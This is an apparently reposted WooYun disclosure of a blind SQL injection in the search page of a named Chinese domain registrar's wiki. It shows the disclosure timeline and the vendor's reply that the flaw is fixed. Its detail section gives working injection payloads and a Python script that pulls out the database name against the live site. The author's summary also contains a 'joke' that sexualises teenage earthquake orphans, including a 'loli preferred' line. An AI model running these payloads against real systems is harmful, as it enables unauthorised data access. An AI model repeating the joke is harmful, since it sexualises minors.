域名商安全之易名中国某站SQL注入（附验证脚本）

admin
admin
admin
139306
文章
114
评论
2017年4月23日09:00:14评论301 views字数 210阅读0分42秒阅读模式
摘要

2016-04-21： 细节已通知厂商并且等待厂商处理中
2016-04-22： 厂商已经确认，细节仅向厂商公开
2016-05-02： 细节向核心白帽子及相关领域专家公开
2016-05-12： 细节向普通白帽子公开
2016-05-22： 细节向实习白帽子公开
2016-06-06： 细节向公众公开

漏洞概要 关注数(4) 关注此漏洞

缺陷编号： WooYun-2016-198928

漏洞标题： 域名商安全之易名中国某站SQL注入（附验证脚本）

相关厂商： 易名中国

漏洞作者： 路人甲

提交时间： 2016-04-21 16:15

公开时间： 2016-06-06 09:20

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： SQL注入

1人收藏

漏洞详情

披露状态：

2016-04-21： 细节已通知厂商并且等待厂商处理中
2016-04-22： 厂商已经确认，细节仅向厂商公开
2016-05-02： 细节向核心白帽子及相关领域专家公开
2016-05-12： 细节向普通白帽子公开
2016-05-22： 细节向实习白帽子公开
2016-06-06： 细节向公众公开

简要描述：

本来shell了，你们居然下线了那个域名，我X！

日本地震了 ，大家一副事不关己的样子 说句实话 着实令人心寒 本人出于人道主义，愿意收留1~5名日本孤儿，要求:女，15—19岁，身无划痕，身材黄金比例S，脸蛋洁白，萝莉优先…大爱无疆，人间有真情！再苦不能苦灾民！传递正能量，如果没有。那我等等在问一遍

详细说明：

code 区域 
返回错误
 http://wiki.ename.cn/doc/search
 data : keyword=1") RLIKE (SELECT (CASE WHEN (substring(database(),1,1)='x') THEN "1" ELSE 0x28 END)) AND ("oElH"="oElH

域名商安全之易名中国某站SQL注入（附验证脚本）

code 区域 
返回正确
 http://wiki.ename.cn/doc/search
 data : keyword=1") RLIKE (SELECT (CASE WHEN (substring(database(),1,1)='e') THEN "1" ELSE 0x28 END)) AND ("oElH"="oElH

域名商安全之易名中国某站SQL注入（附验证脚本）

漏洞证明：

code 区域 
当前数据库名称为：ename_wiki

域名商安全之易名中国某站SQL注入（附验证脚本）

code 区域 
#-*- coding:utf-8 -*-
 import requests
 
 payload = list('einam_wk') #别问我怎么知道payload就这点...因为我跑了之后精简的
 
 url = 'http://wiki.ename.cn/doc/search'
 
 headers = {
  'Content-Type':'application/x-www-form-urlencoded',
  'Host':'wiki.ename.cn',
  'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko)'
 }
 
 database = ''
 for x in range(1,11):
 
  for y in payload:
   
   data = 'keyword=1") RLIKE (SELECT (CASE WHEN (substring(database(),%d,1)="%s") THEN "1" ELSE 0x28 END)) AND ("oElH"="oElH' % (x,y)
   try:
    response = requests.post(url,data=data,headers=headers,verify=False,timeout=2)
    if(len(response.content) > 20000):
     print u'[Tangscan] 数据库第'+repr(x)+u'位是'+y
     database += y
   except Exception,e:
    pass
 print database

修复方案：

1.过滤转义双引号；

2.检查线上数据是否受到影响（比如说拖库之类的）

3.认真查看系统日志以及Mysql日志，定期对员工进行安全培训。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2016-04-22 09:17

厂商回复：

谢谢您的反馈，我们已经修复这个问题，会影响百科的资料，不涉及用户的资料。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-04-22 10:14 | #6c6c6c ( 普通白帽子 | Rank:305 漏洞数:51 | 像一条狗孤独的活着，渴望的活着，绝望的活...)

    0

    @易名中国 不客气

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin